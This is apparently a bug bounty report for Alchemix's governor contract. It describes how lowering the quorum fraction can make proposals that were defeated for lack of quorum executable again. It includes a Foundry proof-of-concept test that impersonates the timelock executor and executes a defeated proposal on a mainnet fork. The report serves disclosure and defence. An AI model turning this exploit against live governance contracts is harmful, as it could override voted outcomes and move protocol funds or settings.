30926 - [SC - Low] AlchemixGovernor updates to quorum can affect p...
Submitted on May 8th 2024 at 13:10:54 UTC by @Lastc0de for Boost | Alchemix
Report ID: #30926
Report type: Smart Contract
Report severity: Low
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol
Impacts:
Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Description
Brief/Intro
In governance, there are usually proposals that for some reason (such as lack of quorum, and the number of votes ) defetated. This issue concerns instances of Governor that use the module GovernorVotesQuorumFraction
In your protocol it is known as L2GovernorVotesQuorumFraction :
https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/governance/L2GovernorVotesQuorumFraction.sol
GovernorVotesQuorumFraction: Combines with GovernorVotes to set the quorum as a fraction of the total token supply. AlchemixGovernor inherits this module
contract AlchemixGovernor is L2Governor, L2GovernorVotes, L2GovernorVotesQuorumFraction /* @AUDIT */, L2GovernorCountingSimple
So this make vulnerable AlchemixGovernor contract.
If this report is unclear to you, refer to the reference link
Vulnerability Details
Vulnerable contract is AlchemixGovernor.sol
&& L2GovernorVotesQuorumFraction.sol
https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/governance/L2GovernorVotesQuorumFraction.sol
Vulnerable function is quorum()
:
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/governance/L2GovernorVotesQuorumFraction.sol#L49C1-L51C6
function quorum(uint256 blockTimestamp) public view virtual override returns (uint256) {
return (token.getPastTotalSupply(blockTimestamp) * quorumNumerator()) / quorumDenominator();
}
The token.getPastTotalSupply(blockNumber)
call will not be optimized the same way and, A mechanism that determines quorum requirements as a percentage of the voting token's total supply. when a proposal is passed to lower the quorum requirement, past proposals may become executable if they had been defeated only due to lack of quorum, and the number of votes it received meets the new quorum requirement.
Impact Details
Past proposals may become executable if they had been defeated only due to lack of quorum, and the number of votes it received meets the new quorum requirement.
References
https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-xrc4-737v-9q75
https://docs.openzeppelin.com/contracts/4.x/api/governance
Proof of Concept
To manually prank the executer and call a function with
onlyGovernance
modifier we need add calldata to queue:
1- Add the following function ro L2Governor.sol
file
function pushCalldata(bytes calldata hash) public {
_governanceCall.pushBack(keccak256(hash));
}
2- Add following function to AlchemixGovernor.t.sol
file
function test_Execute_Defeated_Proposal_After_Update_Quorum() public {
// Random users
address jimmy = 0xc8dF939C61A33Aa83435bddcE76e6179f4653302;
address sara = 0x72414Fe88759857e69797B4558a1f1475F32A462;
createVeAlcx(sara, 5000e18, MAXTIME, false);
createVeAlcx(jimmy, 15_000e18, MAXTIME, false);
assertFalse(voter.isWhitelisted(usdc));
(address[] memory t, uint256[] memory v, bytes[] memory c, string memory d) = craftTestProposal();
hevm.warp(block.timestamp + 2 days); // delay
uint256 quorum = governor.quorum(block.timestamp);
uint256 votingPower = veALCX.getVotes(admin);
assertGt(votingPower, quorum, "voting power should be greater than quorum");
// propose
hevm.startPrank(admin);
uint256 pid = governor.propose(t, v, c, d, MAINNET);
hevm.warp(block.timestamp + governor.votingDelay() + 1); // voting delay
hevm.roll(block.number + 1);
hevm.stopPrank();
// vote by sara
hevm.startPrank(sara);
governor.castVote(pid, 1);
hevm.stopPrank();
// vote by jimmy
hevm.startPrank(jimmy);
governor.castVote(pid, 1);
hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
hevm.stopPrank();
// execute
hevm.startPrank(admin);
hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
hevm.expectRevert(abi.encodePacked("Governor: proposal not successful"));
governor.execute(t, v, c, keccak256(bytes(d)), MAINNET);
hevm.warp(block.timestamp + governor.votingPeriod() + 10); // update timestamp
hevm.stopPrank();
// Update quorum numerator with governance
address executor = address(governor.timelock());
// Prepare the calldata
bytes memory calldataRequired = abi.encodeWithSelector(
bytes4(keccak256("updateQuorumNumerator(uint256)")),1000);
// Add it to the queue
governor.pushCalldata(calldataRequired);
hevm.startPrank(address(executor));
// Impersonate the executor and call the function
// Update.
governor.updateQuorumNumerator(1000);
hevm.stopPrank();
// Execute past defeated Proposal
governor.execute(t, v, c, keccak256(bytes(d)), MAINNET);
assertTrue(voter.isWhitelisted(usdc));
}
3- Run test
forge test --match-test "test_Execute_Defeated_Proposal_After_Update_Quorum" --fork-url https://eth-mainnet.public.blastapi.io -vvvv
Last updated
Was this helpful?